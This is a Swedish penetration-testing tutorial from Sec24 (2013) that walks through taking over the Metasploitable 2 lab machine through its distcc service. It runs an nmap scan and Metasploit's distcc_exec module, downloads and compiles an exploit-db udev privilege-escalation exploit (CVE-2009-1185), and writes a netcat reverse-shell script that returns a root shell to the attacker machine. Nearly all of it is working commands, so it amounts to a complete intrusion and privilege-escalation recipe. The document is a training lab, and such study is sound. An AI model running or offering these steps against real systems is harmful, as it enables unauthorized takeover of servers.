Sec24 – Distcc
Av: Oscar Andersson, Sec24, 2013-05-04
OBS: Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.
I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.
Bakgrund: distcc är programmerat för att påskynda kompilering av C, C++, Objective C eller Objective C++ builds genom att utnyttja oanvänd processorkraft från andra datorer. En dator som har distcc installerat kan skicka kod som ska kompileras över nätverket till en annan dator som har distcc daemonen och en kompatibel kompilator installerad.
Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.
Detta görs genom kommandot ifconfig.
Starta nu upp Backtrack och öppna en ny terminal.
Skriv följande kommandon:
cd /pentest/exploits/framework2
nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt
Vi får nu fram flera portar som är öppna. I distcc fallet är det den öppna porten 3632 som är intressant då distcc i de flesta fall körs på just port 3632.
För att filtrera resultatet när nmap körts klart kan vi köra kommandot:
grep 3632 /var/tmp/scan.txt
I Backtrack går vi nu in under Applications –> BackTrack –> Exploitation Tools –> Network Exploitation Tools –> Metasploit Framework –> msfconsole.
Vänta några sekunder på att applikationen ska starta.
Kör följande kommandon:
search distcc
use exploit/unix/misc/distcc_exec
Kör nu kommandona
show payloads
set payload cmd/unix/bind_ruby
Payload är mjukvaran som låter dig styra ett datorsystem efter det har tagits över. Payloaden är oftast ansluten till och levereras av exploiten. Tänk er att exploiten bär payloaden i en ryggsäck när den bryter sig in i ett datorsystemet och sedan lämnar expoliten ryggsäcken därinne.
Kör nu kommandona:
show options
set RHOST 192.168.1.125 (Metasploitable IP)
För att kontrollera att IP-adressen verkligen är satt kan vi köra kommandot show options igen.
Vi kör nu kommandot:
exploit
När kommandot har körts är vi anslutna till servern och vi kan nu köra kommandon på Metasploitableservern. Kommandon vi kan köra för att bekräfta detta är bland annat:
hostname
ifconfig
Vi kör nu kommandot whoami för att se vilken användare vi är och därav vilka privilegier vi har.
Notera att vi är daemon-användaren. För att få full kontroll vill vi bli root vilket vi nu ska bli.
Vi börjar med att ladda ner ett exploit för distcc till Metasploitableservern, kompilerar det och kontrollerar sedan att allt gått vägen.
wget http://www.exploit-db.com/download/8572 -O exploit-8572.c
gcc exploit-8572.c -o exploit-8572
ls -l
Behåll terminalen för exploiten uppe och starta sedan upp en ny terminal i BackTrack och kör följande kommando i den nya terminalen:
netcat -vlp 4444
Netcat brukar benämnas som en Schweizisk armékniv för TCP/IP. Netcat är en nätverkstjänst som läser och skriver nätverksanslutningar via TCP eller UDP.
I nästa steg behöver du veta BackTracks IP-adress. Kan du inte den så öppna ytterligare en ny terminal och kör kommandot ifconfig.
Kör nu följande kommandon i Metasploitableterminalen: IP-adressen på rad två är BackTracks och inte Metasploitables.
echo ‘#!/bin/sh’ > /tmp/run
echo ‘/bin/netcat -e /bin/sh 192.168.1.4 4444’ >> /tmp/run
ps -eaf | grep udev | grep -v grep
Subtrahera nu ett från process ID (PID) som är markerat ovan och kör följande kommando:
./exploit-8572 2767 (2768-1 = 2767)
Om allt gått vägen borde det nu hänt något i netcat-terminalen.
Vi skriver nu whoami i netcatterminalen och får då fram att vi är root och har full kontroll över servern.
För att förstå mer av vad som händer kan vi logga in på Metasploitableservern och köra följande kommandon:
sudo su
netstat -naop | grep 4444 (Visar Metasploitesessionen)
ps -eaf | grep 5914 | grep -v grep (Ruby Payload)
ps -eaf | grep 5999 | grep -v grep (Netcat /bin/sh)
ps -eaf | grep 5998 | grep -v grep (Exploit CVE 2009-1185)